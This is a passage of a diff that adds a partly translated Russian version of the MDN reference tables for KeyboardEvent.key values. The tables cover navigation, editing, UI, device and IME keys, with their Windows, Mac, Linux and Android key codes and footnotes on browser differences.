+    <code>GDK_KEY_KP_Down</code> (0xFF99)<br>
+    <code>Qt::Key_Down</code> (0x01000015)</td>
+   <td><code>KEYCODE_DPAD_DOWN</code> (20)</td>
+  </tr>
+  <tr>
+   <td><code>"ArrowLeft"</code> [1]</td>
+   <td>Клавиша со стрелкой "влево" .</td>
+   <td><code>VK_LEFT</code> (0x25)</td>
+   <td><code>kVK_LeftArrow</code> (0x7B)</td>
+   <td><code>GDK_KEY_Left</code> (0xFF51)<br>
+    <code>GDK_KEY_KP_Left</code> (0xFF96)<br>
+    <code>Qt::Key_Left</code> (0x01000012)</td>
+   <td><code>KEYCODE_DPAD_LEFT</code> (21)</td>
+  </tr>
+  <tr>
+   <td><code>"ArrowRight"</code> [1]</td>
+   <td>Клавиша со стрелкой "вправо".</td>
+   <td><code>VK_RIGHT</code> (0x27)</td>
+   <td><code>kVK_RightArrow</code> (0x7C)</td>
+   <td><code>GDK_KEY_Right</code> (0xFF53)<br>
+    <code>GDK_KEY_KP_Right</code> (0xFF98)<br>
+    <code>Qt::Key_Right</code> (0x01000014)</td>
+   <td><code>KEYCODE_DPAD_RIGHT</code> (22)</td>
+  </tr>
+  <tr>
+   <td><code>"ArrowUp"</code> [1]</td>
+   <td>Клавиша со стрелкой "вверх".</td>
+   <td><code>VK_UP</code><code> (0x26)</code></td>
+   <td><code>kVK_UpArrow</code> (0x7E)</td>
+   <td><code>GDK_KEY_Up</code> (0xFF52)<br>
+    <code>GDK_KEY_KP_Up</code> (0xFF97)<br>
+    <code>Qt::Key_Up</code> (0x01000013)</td>
+   <td><code>KEYCODE_DPAD_UP</code> (19)</td>
+  </tr>
+  <tr>
+   <td><code>"End"</code></td>
+   <td>Клавиша <kbd>End</kbd> . Перемещает в конец контента.</td>
+   <td><code>VK_END</code> (0x23)</td>
+   <td><code>kVK_End</code> (0x77)</td>
+   <td><code>GDK_KEY_End</code> (0xFF57)<br>
+    <code>GDK_KEY_KP_End</code> (0xFF9C)<br>
+    <code>Qt::Key_End</code> (0x01000011)</td>
+   <td><code>KEYCODE_MOVE_END</code> (123)</td>
+  </tr>
+  <tr>
+   <td><code>"Home"</code></td>
+   <td>Клавиша <kbd>Home</kbd> . В начало контента.</td>
+   <td><code>VK_HOME</code> (0x24)</td>
+   <td><code>kVK_Home</code> (0x73)</td>
+   <td><code>GDK_KEY_Home</code> (0xFF50)<br>
+    <code>GDK_KEY_KP_Home</code> (0xFF95)<br>
+    <code>Qt::Key_Home</code> (0x01000010)</td>
+   <td><code>KEYCODE_MOVE_HOME</code> (122)</td>
+  </tr>
+  <tr>
+   <td><code>"PageDown"</code></td>
+   <td>Клавиша <kbd>Page Down</kbd> (или <kbd>PgDn</kbd>). <span class="tlid-translation translation" lang="ru"><span title="">Прокручивает вниз или отображает следующую страницу содержимого.</span></span></td>
+   <td><code>VK_NEXT</code> (0x22)</td>
+   <td><code>kVK_PageDown</code><code> (0x79)</code></td>
+   <td><code>GDK_KEY_Page_Down</code> (0xFF56)<br>
+    <code>GDK_KEY_KP_Page_Down</code> (0xFF9B)<br>
+    <code>Qt::Key_PageDown</code> (0x01000017)</td>
+   <td><code>KEYCODE_PAGE_DOWN</code> (93)</td>
+  </tr>
+  <tr>
+   <td><code>"PageUp"</code></td>
+   <td>Клавиша <kbd>Page Up</kbd> (или <kbd>PgUp</kbd>). <span class="tlid-translation translation" lang="ru"><span title="">Прокручивает вверх или отображает предыдущую страницу содержимого.</span></span></td>
+   <td><code>VK_PRIOR</code> (0x21)</td>
+   <td><code>kVK_PageUp</code> (0x74)</td>
+   <td><code>GDK_KEY_Page_Up</code> (0xFF55)<br>
+    <code>GDK_KEY_KP_Page_Up</code> (0xFF9A)<br>
+    <code>Qt::Key_PageUp</code> (0x01000016)</td>
+   <td><code>KEYCODE_PAGE_UP</code> (92)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Internet Explorer, Edge (16 и ранее), и Firefox (36 и ранее) используют <code>"Left"</code>, <code>"Right"</code>, <code>"Up"</code>, и <code>"Down"</code> вместо <code>"ArrowLeft"</code>, <code>"ArrowRight"</code>, <code>"ArrowUp"</code>, и <code>"ArrowDown"</code>.</p>
+
+<h2 id="Клавиши_редактирования">Клавиши редактирования</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"Backspace"</code></td>
+   <td>The <kbd>Backspace</kbd> key. This key is labeled <kbd>Delete</kbd> on Mac keyboards.</td>
+   <td><code>VK_BACK</code> (0x08)</td>
+   <td><code>kVK_Delete</code> (0x33)</td>
+   <td><code>GDK_KEY_BackSpace</code> (0xFF08)<br>
+    <code>Qt::Key_Backspace</code> (0x01000003)</td>
+   <td><code>KEYCODE_DEL</code> (67)</td>
+  </tr>
+  <tr>
+   <td><code>"Clear"</code></td>
+   <td>The <kbd>Clear</kbd> key. Removes the currently selected input.</td>
+   <td><code>VK_CLEAR</code> (0x0C)<br>
+    <code>VK_OEM_CLEAR</code> (0xFE)</td>
+   <td><code>kVK_ANSI_KeypadClear</code> (0x47)</td>
+   <td><code>GDK_KEY_Clear</code> (0xFF0B)<br>
+    <code>Qt::Key_Clear</code> (0x0100000B)</td>
+   <td><code>KEYCODE_CLEAR</code> (28)</td>
+  </tr>
+  <tr>
+   <td><code>"Copy"</code></td>
+   <td>The <kbd>Copy</kbd> key (on certain extended keyboards).</td>
+   <td><code>APPCOMMAND_COPY</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Copy</code> (0x1008FF57)<br>
+    <code>Qt::Key_Copy</code> (0x010000CF)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"CrSel"</code> [3]</td>
+   <td>The Cursor Select key, <kbd>CrSel</kbd>.</td>
+   <td><code>VK_CRSEL</code> (0xF7)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_CursorSelect</code> (0xFD1C)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Cut"</code></td>
+   <td>The <kbd>Cut</kbd> key (on certain extended keyboards).</td>
+   <td><code>APPCOMMAND_CUT</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Cut</code> (0x1008FF58)<br>
+    <code>Qt::Key_Cut</code> (0x010000D0)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Delete"</code> [2]</td>
+   <td>Клавиша Delete, <kbd>Del</kbd>.</td>
+   <td><code>VK_DELETE</code> (0x2E)</td>
+   <td><code>kVK_ForwardDelete</code> (0x75) [1]</td>
+   <td><code>GDK_KEY_Delete</code> (0xFFFF)<br>
+    <code>GDK_KEY_KP_Delete</code> (0xFF9F)<br>
+    <code>Qt::Key_Delete</code> (0x01000007)</td>
+   <td><code>KEYCODE_FORWARD_DEL</code> (112)</td>
+  </tr>
+  <tr>
+   <td><code>"EraseEof"</code></td>
+   <td>Erase to End of Field. Deletes all characters from the current cursor position to the end of the current field.</td>
+   <td><code>VK_EREOF</code> (0xF9)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_ExSelect</code> (0xFD1B)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ExSel"</code> [4]</td>
+   <td>The <kbd>ExSel</kbd> (Extend Selection) key.</td>
+   <td><code>VK_EXSEL</code> (0xF8)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_ExSelect</code> (0xFD1B)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Insert"</code></td>
+   <td>The Insert key, <kbd>Ins</kbd>. Toggles between inserting and overwriting text.</td>
+   <td><code>VK_INSERT</code> (0x2D)</td>
+   <td></td>
+   <td><code>GDK_KEY_Insert</code> (0xFF63)<br>
+    <code>GDK_KEY_KP_Insert</code> (0xFF9E)<br>
+    <code>Qt::Key_Insert</code> (0x01000006)</td>
+   <td><code>KEYCODE_INSERT</code> (124)</td>
+  </tr>
+  <tr>
+   <td><code>"Paste"</code></td>
+   <td>Paste from the clipboard.</td>
+   <td><code>APPCOMMAND_PASTE</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Paste</code> (0x1008FF6D)<br>
+    <code>Qt::Key_Paste</code> (0x010000E2)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Redo"</code></td>
+   <td>Redo the last action.</td>
+   <td><code>APPCOMMAND_REDO</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Redo</code> (0xFF66)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Undo"</code></td>
+   <td>Undo the last action.</td>
+   <td><code>APPCOMMAND_UNDO</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Undo</code> (0xFF65)</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] On keyboards without a dedicated <kbd>Del</kbd> key, the Mac generates the <code>"Delete"</code> value when <kbd>Fn</kbd> is pressed in tandem with <kbd>Delete</kbd> (which is <kbd>Backspace</kbd> on other platforms).</p>
+
+<p>[2] Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier use <code>"Del"</code> instead of <code>"Delete"</code> for the <kbd>Del</kbd> key.</p>
+
+<p>[3] Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier generate the value <code>"Crsel"</code> instead of <code>"CrSel"</code> when the <kbd>CrSel</kbd> key is pressed.</p>
+
+<p>[4] Internet Explorer (tested on release 9 and 11) and Firefox 36 and earlier generate the value <code>"Exsel"</code> instead of <code>"ExSel"</code> when the <kbd>ExSel</kbd> key is pressed.</p>
+
+<h2 id="Клавиши_интерфейса_пользователя_UI">Клавиши интерфейса пользователя (UI)</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"Accept"</code></td>
+   <td>Клавиша или кнопка <kbd>Accept</kbd>, <kbd>Commit</kbd>, или <kbd>OK</kbd>. Accepts the currently selected option or input method sequence conversion.</td>
+   <td><code>VK_ACCEPT</code> (0x1E)</td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_DPAD_CENTER</code> (23)</td>
+  </tr>
+  <tr>
+   <td><code>"Again"</code></td>
+   <td>The <kbd>Again</kbd> key. Перевыполняет или повторяет предыдущее действие.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Redo</code> (0xFF66)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Attn"</code> [4]</td>
+   <td>Клавиша "Внимание" <kbd>Attn</kbd>.</td>
+   <td><code>VK_OEM_ATTN</code> (0xF0)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_Attn</code> (0xFD0E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Cancel"</code> [1]</td>
+   <td>Клавиша отмены <kbd>Cancel</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Cancel</code> (0xFF69)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ContextMenu"</code> [3]</td>
+   <td>Отображает контекстное меню. Обычно находится между клавишами <kbd>Windows</kbd> (или <kbd>OS</kbd>) и <kbd>Control</kbd> на правой стороне клавиатуры.</td>
+   <td><code>VK_APPS</code> (0x5D)</td>
+   <td><code>kVK_PC_ContextMenu</code> (0x6E)</td>
+   <td><code>GDK_KEY_Menu</code> (0xFF67)<br>
+    <code>Qt::Key_Menu</code> (0x01000055)</td>
+   <td><code>KEYCODE_MENU</code> (82)</td>
+  </tr>
+  <tr>
+   <td><code>"Escape"</code> [2]</td>
+   <td>Клавиша отмены <kbd>Esc</kbd>. Обычно используется для выходы, отмены, ил выхода из текущей операции. Исторически Escape-символ использовался для подачи сигнала о начале специальной управляющей последовательности символов, называемой "escape-последовательностью".</td>
+   <td><code>VK_ESCAPE</code> (0x1B)</td>
+   <td><code>kVK_Escape</code> (0x35)</td>
+   <td><code>GDK_KEY_Escape</code> (0xFF1B)<br>
+    <code>Qt::Key_Escape</code> (0x01000000)</td>
+   <td><code>KEYCODE_ESCAPE</code> (111)</td>
+  </tr>
+  <tr>
+   <td><code>"Execute"</code></td>
+   <td>Клавиша "Выполнить" <kbd>Execute</kbd>.</td>
+   <td><code>VK_EXECUTE</code> (0x2B)</td>
+   <td></td>
+   <td><code>Qt::Key_Execute</code> (0x01020003)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Find"</code></td>
+   <td>Клавиша "Найти" <kbd>Find</kbd>. Открывает интерфейс (обычно диалоговое окно) для выполнения операции поиска.</td>
+   <td><code>APPCOMMAND_FIND</code></td>
+   <td></td>
+   <td><code>GDK_KEY_Find</code> (0xFF68)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Finish"</code> [5]</td>
+   <td>Клавиша завершения <kbd>Finish</kbd>.</td>
+   <td><code>VK_OEM_FINISH</code> (0xF1)</td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Help"</code></td>
+   <td>Клавиша помощи <kbd>Help</kbd>. Открывает или переключает отображение справочной информации.</td>
+   <td><code>VK_HELP</code> (0x2F)<br>
+    <code>APPCOMMAND_HELP</code></td>
+   <td><code>kVK_Help</code> (0x72)</td>
+   <td><code>GDK_KEY_Help</code> (0xFF6A)<br>
+    <code>Qt::Key_Help</code> (0x01000058)</td>
+   <td><code>KEYCODE_HELP</code> (259)</td>
+  </tr>
+  <tr>
+   <td><code>"Pause"</code></td>
+   <td>Клавиша паузы <kbd>Pause</kbd>. Приостанавливает текущее приложение или состояние, если это применимо.
+    <div class="note"><strong>Заметка:</strong> Не следует путать с клавишей <code>"MediaPause"</code> , которая используется для медиа-контроллеров, а не для управления приложениями и процессами.</div>
+   </td>
+   <td><code>VK_PAUSE</code> (0x13)</td>
+   <td></td>
+   <td><code>GDK_KEY_Pause</code> (0xFF13)<br>
+    <code>GDK_KEY_Break</code> (0xFF6B)<br>
+    <code>Qt::Key_Pause</code> (0x01000008)</td>
+   <td><code>KEYCODE_BREAK</code> (121)</td>
+  </tr>
+  <tr>
+   <td><code>"Play"</code></td>
+   <td>Клавиша <kbd>Play</kbd> . Если применимо, возобновляет ранее приостановленное приложение.
+    <div class="note"><strong>Заметка:</strong> Не следует путать с клавишей<code>"MediaPlay"</code> которая используется для медиа-контроллеров, а не для управления приложениями и процессами.</div>
+   </td>
+   <td><code>VK_PLAY</code> (0xFA)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_Play</code> (0xFD16)<br>
+    <code>Qt::Key_Play</code> (0x01020005)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Props"</code></td>
+   <td>Клавиша "Свойства" <kbd>Props</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Select"</code></td>
+   <td>Клавиша выбора/выделения <kbd>Select</kbd>.</td>
+   <td><code>VK_SELECT</code> (0x29)</td>
+   <td></td>
+   <td><code>GDK_KEY_Select</code> (0xFF60)</td>
+   <td><code>KEYCODE_BUTTON_SELECT</code> (109)</td>
+  </tr>
+  <tr>
+   <td><code>"ZoomIn"</code> [6]</td>
+   <td>Клавиша увеличения масштаба <kbd>ZoomIn</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ZoomIn</code> (0x1008FF8B)<br>
+    <code>Qt::Key_ZoomIn</code> (0x010000F6)</td>
+   <td><code>KEYCODE_ZOOM_IN</code> (168)</td>
+  </tr>
+  <tr>
+   <td><code>"ZoomOut"</code> [6]</td>
+   <td>Клавиша уменьшения масштаба <kbd>ZoomOut</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ZoomOut</code> (0x1008FF8C)<br>
+    <code>Qt::Key_ZoomOut</code> (0x010000F7)</td>
+   <td><code>KEYCODE_ZOOM_OUT</code> (169)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] В Google Chrome 52, клавиша <kbd>Cancel</kbd> ошибочно возвращает значение <code>"Pause"</code>. Исправлено в Chrome 53. (Смотри подробно в <a href="https://bugs.chromium.org/p/chromium/issues/detail?id=612749">Chrome bug 612749</a>.)</p>
+
+<p>[2] В Internet Explorer (проверено в версиях 9 и 11) и Firefox 36 и более ранних, клавиша <kbd>Esc</kbd> возвращает значение <code>"Esc"</code> вместо <code>"Escape"</code>.</p>
+
+<p>[3] Internet Explorer (проверено в версиях 9 и 11) и Firefox 36 и более ранних, клавиша контекстного меню возвращает значение <code>"Apps"</code> вместо <code>"ContextMenu"</code>.</p>
+
+<p>[4] Клавиша <kbd>Attn</kbd> генерирует значение <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11). В Firefox и Google Chrome происходит то же, если только не действует японская раскладка клавиатуры, то в этом случае она генерирует вместо нее <code>"KanaMode"</code>.</p>
+
+<p>[5] Клавиша <kbd>Finish</kbd> генерирует значение <code>"Unidentified"</code> в Internet Explorer (проверено в версиях 9 и 11). В Firefox происходит то же, если только не действует японская раскладка клавиатуры, то в этом случае она генерирует вместо нее <code>"Katakana"</code>.</p>
+
+<p>[6] Firefox не поддерживал клавиши <code>"ZoomIn"</code> и <code>"ZoomOut"</code> до Firefox 37.</p>
+
+<h2 id="Клавиши_устройства">Клавиши устройства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"BrightnessDown"</code></td>
+   <td>Клавиша уменьшения яркости. Обычно используется для уменьшения яркости дисплея.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_MonBrightnessDown</code> (0x1008FF03)<br>
+    <code>Qt::Key_MonBrightnessDown</code> (0x010000B3)</td>
+   <td><code>KEYCODE_BRIGHTNESS_DOWN</code> (220)</td>
+  </tr>
+  <tr>
+   <td><code>"BrightnessUp"</code></td>
+   <td><span class="tlid-translation translation" lang="ru"><span title="">Клавиша увеличения яркости.</span> <span title="">Обычно увеличивает яркость дисплея.</span></span></td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_MonBrightnessUp</code> (0x1008FF02)<br>
+    <code>Qt::Key_MonBrightnessUp</code> (0x010000B2)</td>
+   <td><code>KEYCODE_BRIGHTNESS_UP</code> (221)</td>
+  </tr>
+  <tr>
+   <td><code>"Eject"</code></td>
+   <td>Клавиша извлечения <kbd>Eject</kbd>. Извлекает съемный носитель (или переключает лоток оптического дисковода, открывая и закрывая его).</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Eject</code> (0x1008FF2C)<br>
+    <code>Qt::Key_Eject</code> (0x010000B9)</td>
+   <td><code>KEYCODE_MEDIA_EJECT</code> (129)</td>
+  </tr>
+  <tr>
+   <td><code>"LogOff"</code> [2]</td>
+   <td>Клавиша выход из системы <kbd>LogOff</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_LogOff</code> (0x1008FF61)<br>
+    <code>Qt::Key_LogOff</code> (0x010000D9)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Power"</code></td>
+   <td>Кнопка или клавиша питания <kbd>Power</kbd> для включения и выключения питания.
+    <div class="note"><strong>Заметка:</strong> Не все системы передают этот ключ агенту пользователя.</div>
+   </td>
+   <td></td>
+   <td></td>
+   <td></td>
+   <td><code>KEYCODE_POWER</code> (26)</td>
+  </tr>
+  <tr>
+   <td><code>"PowerOff"</code></td>
+   <td>Кнопка выключения компьютера <kbd>PowerOff</kbd> или <kbd>PowerDown</kbd>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_PowerDown</code> (0x1008FF21)<br>
+    <code>GDK_KEY_PowerOff</code> (0x1008FF2A)<br>
+    <code>Qt::Key_PowerDown</code> (0x0100010B)<br>
+    <code>Qt::Key_PowerOff</code> (0x010000B7)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"PrintScreen"</code></td>
+   <td>Клавиша <kbd>PrintScreen</kbd> или <kbd>PrtScr</kbd>. Иногда <kbd>SnapShot</kbd>. Делает снимок экрана.</td>
+   <td><code>VK_SNAPSHOT</code> (0x2C)</td>
+   <td></td>
+   <td><code>GDK_KEY_3270_PrintScreen</code> (0xFD1D)<br>
+    <code>GDK_KEY_Print</code> (0xFF61)<br>
+    <code>GDK_KEY_Sys_Req</code> (0xFF15)<br>
+    <code>Qt::Key_Print</code> (0x01000009)<br>
+    <code>Qt::Key_SysReq</code> (0x0100000A)</td>
+   <td><code>KEYCODE_SYSRQ</code> (120)</td>
+  </tr>
+  <tr>
+   <td><code>"Hibernate"</code> [2]</td>
+   <td>Клавиша гибернации <kbd>Hibernate</kbd>. Состояние компьютера сохраняется на диске, а затем выключается; компьютер может быть возвращен в предыдущее состояние путем восстановления сохраненной информации о состоянии.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Hibernate</code> (0x1008FFA8)<br>
+    <code>Qt::Key_Hibernate</code> (0x01000108)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Standby"</code> [1]</td>
+   <td>Клавиша сна <kbd>Standby</kbd>. (Также известна как <kbd>Suspend</kbd> или <kbd>Sleep</kbd>.) Выключает дисплей и переводит компьютер в режим низкого энергопотребления, не выключая его полностью.</td>
+   <td><code>VK_SLEEP</code> (0x5F)</td>
+   <td></td>
+   <td><code>GDK_KEY_Standby</code> (0x1008FF10)<br>
+    <code>GDK_KEY_Suspend</code> (0x1008FFA7)<br>
+    <code>GDK_KEY_Sleep</code> (0x1008FF2F)<br>
+    <code>Qt::Key_Standby</code> (0x01000093)<br>
+    <code>Qt::Key_Suspend</code> (0x0100010C)<br>
+    <code>Qt::Key_Sleep</code> (0x01020004)</td>
+   <td><code>KEYCODE_SLEEP</code> (223)</td>
+  </tr>
+  <tr>
+   <td><code>"WakeUp"</code> [2]</td>
+   <td>Клавиша пробуждения <kbd>WakeUp</kbd>. Используется для вывода компьютера из режима гибернации или ожидания.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_WakeUp</code> (0x1008FF2B)<br>
+    <code>Qt::Key_WakeUp</code> (0x010000B8)</td>
+   <td><code>KEYCODE_WAKEUP</code> (224)</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>[1] Клавиша <kbd>Standby</kbd> не поддерживается Internet Explorer (проверено в версиях 9 и 11) и Firefox 36 и более ранних, поэтому возвращала <code>"Unidentified"</code>.</p>
+
+<p>[2] До Firefox 37, эта клавиша генерировала значение <code>"Unidentified"</code>.</p>
+
+<h2 id="IME_и_клавиши_композиции">IME и клавиши композиции</h2>
+
+<p>Клавиши, используемые при использовании редактора метода ввода (<a href="https://ru.wikipedia.org/wiki/IME">IME</a>) для ввода текста, который не может быть легко введен с помощью простых нажатий клавиш, например текста на языках, которые имеют больше графем, чем клавиш ввода символов на клавиатуре. Общие примеры включают китайский, японский, корейский и хинди.</p>
+
+<p>Некоторые клавиши являются общими для нескольких языков, в то время как другие существуют только на клавиатурах, ориентированных на определенные языки. Кроме того, не все клавиатуры имеют все эти клавиши.</p>
+
+<h4 id="Обычные_IME_клавиши">Обычные IME клавиши</h4>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th rowspan="2" scope="col" style="text-align: left;">Значение <code>KeyboardEvent.key</code></th>
+   <th rowspan="2" scope="col" style="text-align: left;">Описание</th>
+   <th colspan="4" scope="col" style="text-align: center;">Виртуальный код клавиши</th>
+  </tr>
+  <tr>
+   <th scope="col" style="text-align: left;">Windows</th>
+   <th scope="col" style="text-align: left;">Mac</th>
+   <th scope="col" style="text-align: left;">Linux</th>
+   <th scope="col" style="text-align: left;">Android</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>"AllCandidates"</code></td>
+   <td>The <kbd>All Candidates</kbd> key, which starts multi-candidate mode, in which multiple candidates are displayed for the ongoing input.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_MultipleCandidate</code> (0xFF3D<br>
+    <code>Qt::Key_MultipleCandidate</code> (0x0100113D)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Alphanumeric"</code></td>
+   <td>The <kbd>Alphanumeric</kbd> key.</td>
+   <td><code>VK_OEM_ATTN</code> (0xF0)</td>
+   <td></td>
+   <td><code>GDK_KEY_Eisu_Shift</code> (0xFF2F)<br>
+    <code>GDK_KEY_Eisu_toggle</code> (0xFF30)<br>
+    <code>Qt::Key_Eisu_Shift</code> (0x0100112f)<br>
+    <code>Qt::Key_Eisu_toggle</code> (0x01001130)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"CodeInput"</code></td>
+   <td>The <kbd>Code Input</kbd> key, which enables code input mode, which lets the user enter characters by typing their code points (their Unicode character numbers, typically).</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Codeinput</code> (0xFF37)<br>
+    <code>Qt::Key_Codeinput</code> (0x01001137)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Compose"</code></td>
+   <td>The <kbd>Compose</kbd> key.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_Multi_key</code> (0xFF20) [1]<br>
+    <code>Qt::Key_Multi_key</code> (0x01001120)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"Convert"</code> [4]</td>
+   <td>The <kbd>Convert</kbd> key, which instructs the IME to convert the current input method sequence into the resulting character.</td>
+   <td><code>VK_CONVERT</code> (0x1C)</td>
+   <td></td>
+   <td><code>GDK_KEY_Henkan</code> (0xFF23)<br>
+    <code>Qt::Key_Henkan</code> (0x01001123)</td>
+   <td><code>KEYCODE_HENKAN</code> (214)</td>
+  </tr>
+  <tr>
+   <td><code>"Dead"</code></td>
+   <td>
+    <p>A dead "combining" key; that is, a key which is used in tandem with other keys to generate accented and other modified characters. If pressed by itself, it doesn't generate a character.</p>
+
+    <p>If you wish to identify which specific dead key was pressed (in cases where more than one exists), you can do so by examining the {{domxref("KeyboardEvent")}}'s associated {{event("compositionupdate")}} event's  {{domxref("CompositionEvent.data", "data")}} property.</p>
+   </td>
+   <td></td>
+   <td></td>
+   <td>See {{anch("Dead keycodes for Linux")}} below</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"FinalMode"</code></td>
+   <td>The <kbd>Final</kbd> (Final Mode) key is used on some Asian keyboards to enter final mode when using IMEs.</td>
+   <td><code>VK_FINAL</code> (0x18)</td>
+   <td></td>
+   <td></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"GroupFirst"</code></td>
+   <td>Switches to the first character group on an <a href="https://en.wikipedia.org/wiki/ISO/IEC_9995">ISO/IEC 9995 keyboard</a>. Each key may have multiple groups of characters, each in its own column. Pressing this key instructs the device to interpret keypresses as coming from the first column on subsequent keystrokes.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ISO_First_Group</code> (0xFE0C)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"GroupLast"</code></td>
+   <td>Switches to the last character group on an <a href="https://en.wikipedia.org/wiki/ISO/IEC_9995">ISO/IEC 9995 keyboard</a>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ISO_Last_Group</code> (0xFE0E)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"GroupNext"</code> [4]</td>
+   <td>Switches to the next character group on an <a href="https://en.wikipedia.org/wiki/ISO/IEC_9995">ISO/IEC 9995 keyboard</a>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ISO_Next_Group</code> (0xFE08)</td>
+   <td><code>KEYCODE_LANGUAGE_SWITCH</code> (204)</td>
+  </tr>
+  <tr>
+   <td><code>"GroupPrevious"</code></td>
+   <td>Switches to the previous character group on an <a href="https://en.wikipedia.org/wiki/ISO/IEC_9995">ISO/IEC 9995 keyboard</a>.</td>
+   <td></td>
+   <td></td>
+   <td><code>GDK_KEY_ISO_Prev_Group</code> (0xFE0A)</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td><code>"ModeChange"</code> [5]</td>
+   <td>The Mode Change key. Toggles or cycles among input modes of IMEs.</td>
+   <td><code>VK_MODECHANGE</code> (0x1F)</td>
+   <td></td>
+   <td><code>GDK_KEY_Mode_switch</code> (0xFF7E)<br>
+    <code>GDK_KEY_script_switch</code> (0xFF7E)<br>
+    <code>Qt::Key_Mode_switch</code> (0x0100117E)</td>
+   <td><code>KEYCODE_SWITCH_CHARSET</code> (95)</td>
+  </tr>
+  <tr>
